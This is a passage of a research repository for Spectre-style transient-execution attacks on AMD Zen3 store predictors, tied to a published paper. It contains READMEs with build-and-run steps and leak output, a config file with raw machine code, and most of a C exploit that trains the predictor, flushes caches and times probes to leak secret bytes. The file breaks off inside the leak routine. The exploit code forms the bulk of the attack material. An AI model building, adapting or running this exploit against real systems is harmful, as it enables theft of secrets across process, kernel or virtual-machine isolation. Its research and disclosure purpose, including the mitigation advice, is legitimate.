├── LICENSE
├── README.md
├── Spectre-CTL
├── Makefile
├── README.md
├── config.h
└── spectre-ctl.c
├── Spectre-STL-ng
├── Makefile
├── README.md
├── config.h
└── spectre-stl-ofp.c
└── figures
├── Collision-Finding.png
├── Spectre-CTL.png
└── Transient-Attack.png
/LICENSE:
--------------------------------------------------------------------------------
1 | Apache License
2 | Version 2.0, January 2004
3 | http://www.apache.org/licenses/
4 |
5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
6 |
7 | 1. Definitions.
8 |
9 | "License" shall mean the terms and conditions for use, reproduction,
10 | and distribution as defined by Sections 1 through 9 of this document.
11 |
12 | "Licensor" shall mean the copyright owner or entity authorized by
13 | the copyright owner that is granting the License.
14 |
15 | "Legal Entity" shall mean the union of the acting entity and all
16 | other entities that control, are controlled by, or are under common
17 | control with that entity. For the purposes of this definition,
18 | "control" means (i) the power, direct or indirect, to cause the
19 | direction or management of such entity, whether by contract or
20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the
21 | outstanding shares, or (iii) beneficial ownership of such entity.
22 |
23 | "You" (or "Your") shall mean an individual or Legal Entity
24 | exercising permissions granted by this License.
25 |
26 | "Source" form shall mean the preferred form for making modifications,
27 | including but not limited to software source code, documentation
28 | source, and configuration files.
29 |
30 | "Object" form shall mean any form resulting from mechanical
31 | transformation or translation of a Source form, including but
32 | not limited to compiled object code, generated documentation,
33 | and conversions to other media types.
34 |
35 | "Work" shall mean the work of authorship, whether in Source or
36 | Object form, made available under the License, as indicated by a
37 | copyright notice that is included in or attached to the work
38 | (an example is provided in the Appendix below).
39 |
40 | "Derivative Works" shall mean any work, whether in Source or Object
41 | form, that is based on (or derived from) the Work and for which the
42 | editorial revisions, annotations, elaborations, or other modifications
43 | represent, as a whole, an original work of authorship. For the purposes
44 | of this License, Derivative Works shall not include works that remain
45 | separable from, or merely link (or bind by name) to the interfaces of,
46 | the Work and Derivative Works thereof.
47 |
48 | "Contribution" shall mean any work of authorship, including
49 | the original version of the Work and any modifications or additions
50 | to that Work or Derivative Works thereof, that is intentionally
51 | submitted to Licensor for inclusion in the Work by the copyright owner
52 | or by an individual or Legal Entity authorized to submit on behalf of
53 | the copyright owner. For the purposes of this definition, "submitted"
54 | means any form of electronic, verbal, or written communication sent
55 | to the Licensor or its representatives, including but not limited to
56 | communication on electronic mailing lists, source code control systems,
57 | and issue tracking systems that are managed by, or on behalf of, the
58 | Licensor for the purpose of discussing and improving the Work, but
59 | excluding communication that is conspicuously marked or otherwise
60 | designated in writing by the copyright owner as "Not a Contribution."
61 |
62 | "Contributor" shall mean Licensor and any individual or Legal Entity
63 | on behalf of whom a Contribution has been received by Licensor and
64 | subsequently incorporated within the Work.
65 |
66 | 2. Grant of Copyright License. Subject to the terms and conditions of
67 | this License, each Contributor hereby grants to You a perpetual,
68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
69 | copyright license to reproduce, prepare Derivative Works of,
70 | publicly display, publicly perform, sublicense, and distribute the
71 | Work and such Derivative Works in Source or Object form.
72 |
73 | 3. Grant of Patent License. Subject to the terms and conditions of
74 | this License, each Contributor hereby grants to You a perpetual,
75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
76 | (except as stated in this section) patent license to make, have made,
77 | use, offer to sell, sell, import, and otherwise transfer the Work,
78 | where such license applies only to those patent claims licensable
79 | by such Contributor that are necessarily infringed by their
80 | Contribution(s) alone or by combination of their Contribution(s)
81 | with the Work to which such Contribution(s) was submitted. If You
82 | institute patent litigation against any entity (including a
83 | cross-claim or counterclaim in a lawsuit) alleging that the Work
84 | or a Contribution incorporated within the Work constitutes direct
85 | or contributory patent infringement, then any patent licenses
86 | granted to You under this License for that Work shall terminate
87 | as of the date such litigation is filed.
88 |
89 | 4. Redistribution. You may reproduce and distribute copies of the
90 | Work or Derivative Works thereof in any medium, with or without
91 | modifications, and in Source or Object form, provided that You
92 | meet the following conditions:
93 |
94 | (a) You must give any other recipients of the Work or
95 | Derivative Works a copy of this License; and
96 |
97 | (b) You must cause any modified files to carry prominent notices
98 | stating that You changed the files; and
99 |
100 | (c) You must retain, in the Source form of any Derivative Works
101 | that You distribute, all copyright, patent, trademark, and
102 | attribution notices from the Source form of the Work,
103 | excluding those notices that do not pertain to any part of
104 | the Derivative Works; and
105 |
106 | (d) If the Work includes a "NOTICE" text file as part of its
107 | distribution, then any Derivative Works that You distribute must
108 | include a readable copy of the attribution notices contained
109 | within such NOTICE file, excluding those notices that do not
110 | pertain to any part of the Derivative Works, in at least one
111 | of the following places: within a NOTICE text file distributed
112 | as part of the Derivative Works; within the Source form or
113 | documentation, if provided along with the Derivative Works; or,
114 | within a display generated by the Derivative Works, if and
115 | wherever such third-party notices normally appear. The contents
116 | of the NOTICE file are for informational purposes only and
117 | do not modify the License. You may add Your own attribution
118 | notices within Derivative Works that You distribute, alongside
119 | or as an addendum to the NOTICE text from the Work, provided
120 | that such additional attribution notices cannot be construed
121 | as modifying the License.
122 |
123 | You may add Your own copyright statement to Your modifications and
124 | may provide additional or different license terms and conditions
125 | for use, reproduction, or distribution of Your modifications, or
126 | for any such Derivative Works as a whole, provided Your use,
127 | reproduction, and distribution of the Work otherwise complies with
128 | the conditions stated in this License.
129 |
130 | 5. Submission of Contributions. Unless You explicitly state otherwise,
131 | any Contribution intentionally submitted for inclusion in the Work
132 | by You to the Licensor shall be under the terms and conditions of
133 | this License, without any additional terms or conditions.
134 | Notwithstanding the above, nothing herein shall supersede or modify
135 | the terms of any separate license agreement you may have executed
136 | with Licensor regarding such Contributions.
137 |
138 | 6. Trademarks. This License does not grant permission to use the trade
139 | names, trademarks, service marks, or product names of the Licensor,
140 | except as required for reasonable and customary use in describing the
141 | origin of the Work and reproducing the content of the NOTICE file.
142 |
143 | 7. Disclaimer of Warranty. Unless required by applicable law or
144 | agreed to in writing, Licensor provides the Work (and each
145 | Contributor provides its Contributions) on an "AS IS" BASIS,
146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
147 | implied, including, without limitation, any warranties or conditions
148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
149 | PARTICULAR PURPOSE. You are solely responsible for determining the
150 | appropriateness of using or redistributing the Work and assume any
151 | risks associated with Your exercise of permissions under this License.
152 |
153 | 8. Limitation of Liability. In no event and under no legal theory,
154 | whether in tort (including negligence), contract, or otherwise,
155 | unless required by applicable law (such as deliberate and grossly
156 | negligent acts) or agreed to in writing, shall any Contributor be
157 | liable to You for damages, including any direct, indirect, special,
158 | incidental, or consequential damages of any character arising as a
159 | result of this License or out of the use or inability to use the
160 | Work (including but not limited to damages for loss of goodwill,
161 | work stoppage, computer failure or malfunction, or any and all
162 | other commercial damages or losses), even if such Contributor
163 | has been advised of the possibility of such damages.
164 |
165 | 9. Accepting Warranty or Additional Liability. While redistributing
166 | the Work or Derivative Works thereof, You may choose to offer,
167 | and charge a fee for, acceptance of support, warranty, indemnity,
168 | or other liability obligations and/or rights consistent with this
169 | License. However, in accepting such obligations, You may act only
170 | on Your own behalf and on Your sole responsibility, not on behalf
171 | of any other Contributor, and only if You agree to indemnify,
172 | defend, and hold each Contributor harmless for any liability
173 | incurred by, or claims asserted against, such Contributor by reason
174 | of your accepting any such warranty or additional liability.
175 |
176 | END OF TERMS AND CONDITIONS
177 |
178 | APPENDIX: How to apply the Apache License to your work.
179 |
180 | To apply the Apache License to your work, attach the following
181 | boilerplate notice, with the fields enclosed by brackets "[]"
182 | replaced with your own identifying information. (Don't include
183 | the brackets!) The text should be enclosed in the appropriate
184 | comment syntax for the file format. We also recommend that a
185 | file or class name and description of purpose be included on the
186 | same "printed page" as the copyright notice for easier
187 | identification within third-party archives.
188 |
189 | Copyright [yyyy] [name of copyright owner]
190 |
191 | Licensed under the Apache License, Version 2.0 (the "License");
192 | you may not use this file except in compliance with the License.
193 | You may obtain a copy of the License at
194 |
195 | http://www.apache.org/licenses/LICENSE-2.0
196 |
197 | Unless required by applicable law or agreed to in writing, software
198 | distributed under the License is distributed on an "AS IS" BASIS,
199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200 | See the License for the specific language governing permissions and
201 | limitations under the License.
202 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Out-of-Place Spectre-STL and Spectre-CTL Attacks
2 |
3 | ## Introduction
4 |
5 | The code in this project demonstrates the transient execution vulnerabilities of two predictors, the Speculative Store Bypass (SSB) predictor and the Predictive Store Forwarding (PSF) predictor in AMD Zen3 Processores. In specific, we propose two innovative attacks targeting these predictors, including an out-of-place variant of Spectre-STL attack based on PSFP and Spectre-CTL attack based on SSBP.
6 |
7 | The PoC of the Out-of-Place Spectre-STL attack is in the directory `Spectre-STL-ng`, and the PoC of the Spectre-CTL attack is in the directory `Spectre-CTL`. In specific, the repository is organized as follows:
8 |
9 | ```
10 | .
11 | ├── figures -- figures illustrated in README files
12 | ├── Spectre-CTL -- PoC of the Spectre-CTL Attack
13 | │ ├── config.h -- Some configurable parameters
14 | │ ├── Makefile -- Compile the PoC via make
15 | │ ├── README.md
16 | │ └── spectre-ctl.c -- Source code of the Spectre-CTL Attack
17 | └── Spectre-STL-ng -- PoC of the out-of-place Spectre-STL Attack
18 | ├── config.h -- Some configurable parameters
19 | ├── Makefile -- Compile the PoC via make
20 | ├── README.md
21 | └── spectre-stl-ofp.c -- Source code of the out-of-place Spectre-STL Attack
22 | ```
23 |
24 | ## Quick Start
25 |
26 | A C compiler is required to build the PoC. Please install `gcc` and `make` before start.
27 |
28 | - To build and run the out-of-place Spectre-STL Attack:
29 |
30 | ```
31 | cd Spectre-STL-ng
32 | make
33 | ./spectre-stl-ofp
34 | ```
35 |
36 | - To build and run the Spectre-CTL Attack:
37 |
38 | ```
39 | cd Spectre-CTL
40 | make
41 | ./spectre-ctl
42 | ```
43 |
44 | ## Environment
45 |
46 | We have tested the PoCs on 4 CPUs with different kernel version, which is shown as follows:
47 |
48 | |Processor|Microcode|Kernel|
49 | |:-:|:-:|:-:|
50 | |AMD Ryzen 9 5900X|0xA201205|Linux 5.15.0-76-generic|
51 | |AMD EPYC 7543|0xA001173|Linux 6.1.0-rc4-snp-host-93fa8c5918a4|
52 | |AMD Ryzen 5 5600G|0xA50000D|Linux 5.15.0-76-generic|
53 | |AMD Ryzen 7 7735HS|0xA404102|Linux 5.4.0-153-generic|
54 |
55 | The two attacks leak secrets successfully on these CPUs.
56 |
57 | ## Attack Features
58 |
59 | Based on the reverse engineering of SSBP and PSFP, we can train any entries of these predictors to any states and trigger the mispredictions. The process of the transient execution of PSFP and SSBP is shown in Fig 1.
60 |
61 |
62 | Fig 1.   Transient Execution of PSFP and SSBP.
63 |
64 | ####
65 |
66 | As shown in Fig 1, we delay the data address generation of the store by performing time-consuming calculations or loading the data address from memory (1). This allows the predictors to be used to predict whether the load can bypass the store and whether the data of the store can be forwarded to the load before its address is generated. For simplification, assume that the DPA of the store is 0xaa, and the data is 0xdd. The DPA of the load is 0xaa (2a) or 0xbb (2b) in different cases. The memory 0xaa contains the value 0xcc.
67 |
68 | By training the predictors, we can trigger a misprediction of PSFP (3a) or SSBP (3b). In the misprediction of PSFP, the DPA of the store is predicted as 0xbb, and a predictive store forwarding is performed (4a). In the misprediction of SSBP, the DPA of the store is predicted as another value that is not equal to 0xbb, and then a speculative store bypass is performed to load the data from the data cache or memory (4b).
69 |
70 | Before the data address of the store is generated, the CPU does not stall the following instructions, but continues to consume the incorrectly loaded data (5). Since the CPU will find the misprediction and reissue the load later, the execution is referred to as the transient execution. To observe the loaded data in the transient window, we can use the cache side channel or SSBP itself to recover the data. When the data address of the store is generated, the CPU identifies a misprediction and triggers a rollback to eliminate the effects of the transient execution (6). After the rollback, we recover the data in the transient window by timing the cache access or the execution of the store-load pair.
71 |
72 | The results indicate that 0xbb is loaded in the transient window triggered by PSFP, and 0xcc is loaded in the transient window triggered by SSBP. Therefore, both predictors can be misused to trigger the transient execution, during which an unexpected value is loaded and consumed.
73 |
74 | To search for the collision, we use the code sliding shown in Fig 2.
75 |
76 |
77 | Fig 2.   Code sliding to find collision for the predictors.
78 |
79 | ####
80 |
81 | The store-load pair in the victim fixes at an address. We obtain the machine code of another store-load pair for priming and probing the PSFP and SSBP, and fill the machine code into a set of contiguous pages.
82 |
83 | After that, we execute the store-load pair in the victim space using a well-designed memory access sequence for PSFP and SSBP, and then execute the code using another well-designed memory access sequence.
84 |
85 | Finally, we check whether the collision occurs by timing the execution of the candidate prime and probe function. If the execution time matches the SSBP or PSFP state, the collision occurs. Otherwise, the collision does not occur, and we increase the entry address of the candidate prime and probe function by one byte, so that the IPA moves one byte within the page for the next attempt.
86 |
87 | ## Defense
88 |
89 | To mitigate these new variants of Spectre attacks, we recommend AMD users to activate Speculative Store Bypass Disable (SSBD). While enabling SSBD may incur a performance loss, it effectively stops the attacks because SSBP and PSFP are disabled with SSBD enabld.
90 |
91 | ## Research Paper
92 |
93 | Our research on SSBP and PSFP, including out-of-place Spectre-STL and Spectre-CTL attacks, is presented in paper *Uncovering and Exploiting AMD Speculative
94 | Memory Access Predictors for Fun and Profit*. The paper has been accepted in the 30th International Symposium on High-Performance Computer Architecture (HPCA 2024).
--------------------------------------------------------------------------------
/Spectre-CTL/Makefile:
--------------------------------------------------------------------------------
1 | all: spectre-ctl
2 |
3 | %: %.c
4 | $(CC) $< -o $@
5 |
6 | clean:
7 | rm -f spectre-ctl
--------------------------------------------------------------------------------
/Spectre-CTL/README.md:
--------------------------------------------------------------------------------
1 | # Spectre-CTL PoC
2 |
3 | ## Introduction
4 |
5 | In this Proof-of-Concept (PoC), we present the utilization of the SSBP to construct a new variant of the Spectre Attack, which we name as Spectre-CTL. Furthermore, we demonstrate the use of the SSBP to transmit a secret byte at a time in the transient window.
6 |
7 | Specifically, this PoC reveals that the SSBP can be leveraged in two distinct attack phases within a Spectre attack:
8 |
9 | - Triggering a transient window: The SSBP enables the creation of a transient window without relying on the branch predictor or a faulty load, facilitating the execution of a speculative load.
10 | In contrast to Spectre-STL (also known as Spectre V4), where the data for the speculative load is retrieved from an unresolved store, in this case, the data is fetched from the cache.
11 |
12 | - Transmitting secrets in a transient window: The SSBP allows for the transmission of secrets within a transient window without requiring the use of a cache side channel, thereby bypassing traditional detection mechanisms.
13 |
14 | An interesting aspect of this approach is the use of an out-of-place method to prime or train the SSBP. This method involves utilizing another load instruction to prime the SSBP before triggering the transient window through the load of the victim. This technique allows for effective conditioning of the SSBP, optimizing its behavior for the subsequent speculative execution of the load.
15 |
16 | By showcasing these capabilities, this PoC underscores the potential risks posed by the SSBP in enabling sophisticated Spectre attacks that can exploit transient execution.
17 |
18 | Considering that SSBP is not well isolated among different processes, between user space and kernel space, and even between host OS and guest OS with SEV-SNP, more powerful and end-to-end attacks are possible to be implemented.
19 |
20 | ## Build
21 |
22 | A C compiler is required. For example, we use gcc 9.4.0 with make 4.2.1. No specific kernel or package dependencies and installations are required. The executable file named `spectre-ctl` can be built through a simple command:
23 |
24 | ```shell
25 | make
26 | ```
27 |
28 | ## Run
29 |
30 | ```shell
31 | ./spectre-ctl
32 | ```
33 |
34 | Expected result is as follows:
35 |
36 | ```
37 | Search offset of prime entry: find offset as 246
38 | Search offset of probe entry: find offset as 3271
39 | Putting 'Leaky SSBP: A noval Spectre-CTL attack!' in memory, address 0x557417b15008
40 | Reading 39 bytes:
41 | Reading at address = 0x557417b15008... Success: 0x4C='L' score=3
42 | Reading at address = 0x557417b15009... Success: 0x65='e' score=3
43 | Reading at address = 0x557417b1500a... Success: 0x61='a' score=3
44 | Reading at address = 0x557417b1500b... Success: 0x6B='k' score=3
45 | Reading at address = 0x557417b1500c... Success: 0x79='y' score=3
46 | Reading at address = 0x557417b1500d... Success: 0x20=' ' score=3
47 | Reading at address = 0x557417b1500e... Success: 0x53='S' score=3
48 | Reading at address = 0x557417b1500f... Success: 0x53='S' score=3
49 | Reading at address = 0x557417b15010... Success: 0x42='B' score=3
50 | Reading at address = 0x557417b15011... Success: 0x50='P' score=3
51 | Reading at address = 0x557417b15012... Success: 0x3A=':' score=3
52 | Reading at address = 0x557417b15013... Success: 0x20=' ' score=3
53 | Reading at address = 0x557417b15014... Success: 0x41='A' score=3
54 | Reading at address = 0x557417b15015... Success: 0x20=' ' score=3
55 | Reading at address = 0x557417b15016... Success: 0x6E='n' score=3
56 | Reading at address = 0x557417b15017... Success: 0x6F='o' score=3
57 | Reading at address = 0x557417b15018... Success: 0x76='v' score=3
58 | Reading at address = 0x557417b15019... Success: 0x61='a' score=3
59 | Reading at address = 0x557417b1501a... Success: 0x6C='l' score=3
60 | Reading at address = 0x557417b1501b... Success: 0x20=' ' score=3
61 | Reading at address = 0x557417b1501c... Success: 0x53='S' score=3
62 | Reading at address = 0x557417b1501d... Success: 0x70='p' score=3
63 | Reading at address = 0x557417b1501e... Success: 0x65='e' score=3
64 | Reading at address = 0x557417b1501f... Success: 0x63='c' score=3
65 | Reading at address = 0x557417b15020... Success: 0x74='t' score=3
66 | Reading at address = 0x557417b15021... Success: 0x72='r' score=3
67 | Reading at address = 0x557417b15022... Success: 0x65='e' score=3
68 | Reading at address = 0x557417b15023... Success: 0x2D='-' score=3
69 | Reading at address = 0x557417b15024... Success: 0x43='C' score=3
70 | Reading at address = 0x557417b15025... Success: 0x54='T' score=3
71 | Reading at address = 0x557417b15026... Success: 0x4C='L' score=3
72 | Reading at address = 0x557417b15027... Success: 0x20=' ' score=3
73 | Reading at address = 0x557417b15028... Success: 0x61='a' score=3
74 | Reading at address = 0x557417b15029... Success: 0x74='t' score=3
75 | Reading at address = 0x557417b1502a... Success: 0x74='t' score=3
76 | Reading at address = 0x557417b1502b... Success: 0x61='a' score=3
77 | Reading at address = 0x557417b1502c... Success: 0x63='c' score=3
78 | Reading at address = 0x557417b1502d... Success: 0x6B='k' score=3
79 | Reading at address = 0x557417b1502e... Success: 0x21='!' score=3
80 | ```
81 |
82 | ## Detail
83 |
84 | The attack process is shown in Fig 1. (Fig 10 in the paper).
85 |
86 |
87 | Fig 1.   Spectre-CTL Attack
88 |
89 | ####
90 |
91 | Similar to Spectre-STL, Spectre-CTL requires one store and three loads in the victim’s address space:
92 |
93 | ```c
94 | void victim_function() {
95 | array2[idx] = 0;
96 | temp = array2[array1[array2[idx2]]];
97 | }
98 | ```
99 |
100 | There are three steps to implement the attack.
101 |
102 | #### Step 1: Prime and Train
103 |
104 | During the train phase, the attacker tries to discover two collisions with the first and the third load of the victim through code sliding. Upon finding these collisions, the attacker proceeds to train the relevant SSBP entries by clearing the SSBP counter ($C_3$ in the paper) so that a misprediction as non-aliasing will occur. Then the attacker sets the first loaded data as the secret’s address.
105 |
106 | #### Step 2: Transient Execution
107 |
108 | After training, the attacker executes the victim function with `idx = idx2`. The store is delayed by evicting `idx` from the cache, and SSBP gives a misprediction that the first load can bypass the store and fetch data from the cache or memory. In the transient window, the second load fetches the secret. Subsequently, the third load treats the secret as an address, updates the second SSBP entry. The SSBP counter ($C_3$ in the paper) in this entry is updated to 15 if the secret is equal to `idx`, and remains 0 otherwise. The leak phase is finished when the CPU detects the misprediction and triggers a rollback.
109 |
110 | #### Step 3: Probe
111 |
112 | Finally, the attacker probes the second SSBP entry in the recover phase. If the stall of the load is observed, it indicates that the secret is equal to `idx`, signifying a successful recovery of the secret.
113 |
114 | ## Configurable parameters
115 |
116 | Some configurable parameters are listed in file `config.h`. The parameters are divided into 2 categories. After modifying some of the parameters, please rebuild the PoC:
117 |
118 | ```
119 | make clean & make
120 | ```
121 |
122 | ### System parameters
123 |
124 | System parameters relate to the microarchitecture design and CPU frequency. Only one parameter is configurable in this PoC.
125 |
126 | #### TYPE_H_BOUND
127 |
128 | This judgment threshold is used to determine whether a non-aliased store-load pair is predicted as aliasing or non-aliasing. If the store-load pair is predicted as non-aliasing, the execution time is shorter; otherwise, the execution time is longer.
129 |
130 | For example, on AMD Ryzen 9 5900X with the following CPU frequency configuration, a feasible `TYPE_H_BOUND` is 190 (146 vs 205+).
131 |
132 | ```
133 | CPU MHz: 2200.000
134 | CPU max MHz: 3700.0000
135 | CPU min MHz: 2200.0000
136 | ```
137 |
138 | ### Attack parameters
139 |
140 | Attack parameters relate to the attack performance, including success rate and leakage speed. Five parameters are configurable in this PoC.
141 |
142 | #### SECRET
143 |
144 | A string that is placed in the victim space.
145 |
146 | #### LEAK_LEN
147 |
148 | The lenght of bytes that will be leaked, which is suggested to be less than the length of the secret string.
149 |
150 | #### TRY_FOR_LEAK
151 |
152 | Try times for secret leakage, which is 100 by dedault.
153 |
154 | #### TRY_FOR_COLLISION
155 |
156 | Try times for collision finding, which is 10 by dedault.
157 |
158 | #### PG_NUM
159 |
160 | Size of the empty executable page for code sliding, which is 5 by dedault.
--------------------------------------------------------------------------------
/Spectre-CTL/config.h:
--------------------------------------------------------------------------------
1 | /*
2 | * System adjustable parameters.
3 | * These parameters relates to the microarchitecture design and CPU frequency.
4 | */
5 |
6 | // SSBP threshold, SSBP predicts as non-aliasing if time <= threshold.
7 | #define TYPE_H_BOUND 190
8 |
9 | /*
10 | * Attack adjustable parameters.
11 | * These parameters relate to the attack performance, including success rate and leakage speed.
12 | */
13 |
14 | // Secret in the victim space that is to be leaked.
15 | #define SECRET "Leaky SSBP: A noval Spectre-CTL attack!\0"
16 | // Leakage length.
17 | #define LEAK_LEN 39
18 | // Try times for secret leakage.
19 | #define TRY_FOR_LEAK 100
20 | // Try times for collision finding.
21 | #define TRY_FOR_COLLISION 10
22 | // Try size for the prime and probe function.
23 | #define PG_NUM 5
24 |
25 | /*
26 | * Attack fixed parameters.
27 | * These parameters SHOULD NOT be modified.
28 | */
29 |
30 | /** Prime and probe function in the machine code format. Assembly code is as follows:
31 | * .rep 20
32 | * imul $1, %rdi
33 | * .endr
34 | * movl %$0, 0x0(%rdi)
35 | * mov 0x0(%rsi), %eax
36 | * .rep 20
37 | * imul $1, %eax
38 | * .endr
39 | * ret
40 | **/
41 | #define PRIME_PROBE_FUNC 72, 107, 255, 1, 72, 107, 255, 1, 72, 107, 255, 1,\
42 | 72, 107, 255, 1, 72, 107, 255, 1, 72, 107, 255, 1,\
43 | 72, 107, 255, 1, 72, 107, 255, 1, 72, 107, 255, 1,\
44 | 72, 107, 255, 1, 72, 107, 255, 1, 72, 107, 255, 1,\
45 | 72, 107, 255, 1, 72, 107, 255, 1, 72, 107, 255, 1,\
46 | 72, 107, 255, 1, 72, 107, 255, 1, 72, 107, 255, 1,\
47 | 72, 107, 255, 1, 72, 107, 255, 1, 199, 7, 0, 0, 0, 0,\
48 | 144, 139, 6, 107, 192, 1, 107, 192, 1, 107, 192, 1,\
49 | 107, 192, 1, 107, 192, 1, 107, 192, 1, 107, 192, 1,\
50 | 107, 192, 1, 107, 192, 1, 107, 192, 1, 107, 192, 1,\
51 | 107, 192, 1, 107, 192, 1, 107, 192, 1, 107, 192, 1,\
52 | 107, 192, 1, 107, 192, 1, 107, 192, 1, 107, 192, 1,\
53 | 107, 192, 1, 195
54 | // Page size.
55 | #define PG_SIZE (1 << 12)
56 | // Size of search space for collision finding.
57 | #define EXE_PAGE_SIZE (PG_NUM * PG_SIZE)
58 | // We use instruction RDPRU to get the timestamp.
59 | #define RDPRU ".byte 0x0f, 0x01, 0xfd"
--------------------------------------------------------------------------------
/Spectre-CTL/spectre-ctl.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 |
7 | /* ======================= */
8 | /* PoC Configuration. */
9 | /* ======================= */
10 |
11 | #include "config.h"
12 |
13 | /* ======================= */
14 | /* Common address space. */
15 | /* ======================= */
16 |
17 | // Variables that are used both in attacker and victim space.
18 | uint8_t unused1[64];
19 | uint8_t array1[160] = {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0};
20 | uint8_t unused2[64];
21 | long array2[256];
22 | size_t idx, idx2;
23 | uint8_t padding_1[64];
24 | size_t idx_chain_0 = (size_t) &idx;
25 | uint8_t padding_1[64];
26 | size_t idx_chain_1 = (size_t) &idx_chain_0;
27 | uint8_t padding_2[64];
28 | size_t idx_chain_2 = (size_t) &idx_chain_1;
29 |
30 | /* ======================= */
31 | /* Victim address space. */
32 | /* ======================= */
33 |
34 | // For an avaliable load.
35 | char* secret = SECRET;
36 |
37 | // For an non-optimized load.
38 | uint8_t temp = 0;
39 |
40 | void victim_function() {
41 | // Delayed store, cause a prediction of SSBP.
42 | array2[idx] = 0;
43 | /* Three loads:
44 | 1) load1 = array2[idx2]; (We train the SSBP entry that this load selects to predict as non-aliasing.)
45 | 2) load2 = array1[load1];
46 | 3) load3 = array2[load2]. (We probe the SSBP entry that this load selects to recover the secret byte. Note that the right shift is not required here.)
47 | */
48 | temp = array2[array1[array2[idx2]]];
49 | }
50 |
51 | /* ======================= */
52 | /* Attacker address space. */
53 | /* ======================= */
54 |
55 | // Prime and probe function in the machine code format. This code is used during fiding the SSBP collision, and slides in an executable page. The instruction address of this function increases one byte for each round of collision finding.
56 | uint8_t function_base[150] = {
57 | PRIME_PROBE_FUNC
58 | };
59 |
60 | // Length of the machine bytes.
61 | int bytes_num_for_base = 150;
62 |
63 | // The page where the prime function (target the same SSBP as the 1st load in the victim funcion) will be placed.
64 | static char* executable_page_1;
65 |
66 | // The page where the probe function (target the same SSBP as the 3rd load in the victim funcion) will be placed.
67 | static char* executable_page_2;
68 |
69 | // The declaration of SSBP prime function (target the same SSBP as the 1st load in the victim funcion). This is the entry of the prime and probe function that in the machine code format in line 56.
70 | static void (*prime_entry) (void*, void*);
71 |
72 | // The declaration of SSBP probe function (target the same SSBP as the 3rd load in the victim funcion). This is the entry of the prime and probe function that in the machine code format in line 56.
73 | static void (*probe_entry) (void*, void*);
74 |
75 | // Record execution time of the prime and probe function.
76 | uint64_t timing[100];
77 |
78 | /**
79 | * Memory fence.
80 | */
81 | __attribute__((always_inline)) inline void mfence() {
82 | __asm__ volatile("mfence" ::: "memory");
83 | }
84 |
85 | /**
86 | * Flush a specific cache line by a given address.
87 | * @param
88 | * - addr: the virtual address that needs to be flushed
89 | */
90 | __attribute__((always_inline)) inline void clflush(void* addr) {
91 | __asm__ volatile("clflush (%0)" :: "r"(addr));
92 | }
93 |
94 | /**
95 | * Get a timestamp on the CPU that executes the code.
96 | * @return
97 | * - the 64-bit timestamp
98 | */
99 | __attribute__((always_inline)) inline size_t gettime(void) {
100 | unsigned long low_a, high_a;
101 | asm volatile(RDPRU
102 | : "=a" (low_a), "=d" (high_a)
103 | : "c" (1));
104 | unsigned long aval = ((low_a) | (high_a) << 32);
105 | return aval;
106 | }
107 |
108 | /**
109 | * Analyse a given time record, return the count of speculative store bypass state.
110 | * @param
111 | * - timing: timestamp records, in the form of an array
112 | * - len: the length of timestamp array
113 | * @return
114 | * - the count of speculative store bypass state.
115 | */
116 | int cnt_non_aliasing(uint64_t* timing, int len) {
117 | int cnt = 0;
118 | for(int i = 0; i < len; ++ i) {
119 | if (timing[i] <= TYPE_H_BOUND) {
120 | cnt ++;
121 | }
122 | }
123 | return cnt;
124 | }
125 |
126 | /**
127 | * Leak secrets through out-of-place Spectre-STL attack.
128 | * We modify the code based on Spectre-V1 attack (https://github.com/Eugnis/spectre-attack).
129 | * @param
130 | * - malicious_x: the distance between secret byte and the base address of array1
131 | * - value: record the recovered byte for each round of try, each element ranges from 0 to 255
132 | * - score: count the recovered value for each round of try, each element ranges from 0 to TRY_FOR_LEAK
133 | **/
134 | void leak(size_t malicious_x, uint8_t value[2], int score[2]) {
135 | // Temporal score board.
136 | static int results[256];
137 | // Store the timestamp.
138 | register uint64_t time1, time2;
139 | // For flush and reload.
140 | uint8_t junk = 0;
141 | volatile uint8_t* addr;
142 | // For score board evaluation.
143 | int rank_0_idx, rank_1_idx, mix_i;
144 | // Reset the score board.
145 | for (int i = 0; i < 256; i++)
146 | results[i] = 0;
147 | // Leak secrets through Spectre-CTL attack.
148 | for (int tries = TRY_FOR_LEAK; tries > 0; tries--) {
149 | for (int test_byte = 0; test_byte < 256; ++ test_byte) {
150 | // Initialize the target entry of SSBP through the prime function and the probe function. The memory access sequence is (a 40n a 40n a 40n).
151 | for (int i = 0; i < 3; ++ i) {
152 | (*prime_entry)(&array2[0], &array2[0]);
153 | mfence();
154 | (*probe_entry)(&array2[0], &array2[0]);
155 | for (int j = 0; j < 40; ++ j) {
156 | mfence();
157 | (*prime_entry)(&array2[0], &array2[1]);
158 | (*probe_entry)(&array2[0], &array2[1]);
159 | mfence();
160 | }
161 | }
162 | // Prepare an aliasing store-load pair for attack.
163 | idx = test_byte;
164 | idx2 = test_byte;
165 | array2[idx2] = malicious_x;
166 | temp = array2[idx2];
167 | // Delay the address generation of the store.
168 | clflush(&idx);
169 | clflush(&idx_chain_0);
170 | clflush(&idx_chain_1);
171 | clflush(&idx_chain_2);
172 | // We can recover the secret even the secret is not in cache.
173 | clflush(&array1);
174 | mfence();
175 | // Trigger a transient execution in the victim space.
176 | idx = (int)*(size_t*)*((size_t*)*(size_t *)idx_chain_2);
177 | victim_function();
178 | // Probe SSBP to recover the secret. The memory access sequence is (35n).
179 | for(int i = 0; i < 35; ++ i) { // probe the SSBP
180 | mfence();
181 | time1 = gettime();
182 | (*probe_entry)(&array2[0], &array2[10]);
183 | mfence();
184 | time2 = gettime() - time1;
185 | mfence();
186 | timing[i] = time2;
187 | }
188 | // Recover the secret byte based on the frequency of non-alised execution time.
189 | results[test_byte] += cnt_non_aliasing(timing, 35) < 30 ? 1 : 0;
190 | }
191 | // Evaluate the score board, and perform an early-stop algorithm if a clear result is found.
192 | rank_0_idx = -1, rank_1_idx = -1;
193 | for (int i = 0; i < 256; i ++) {
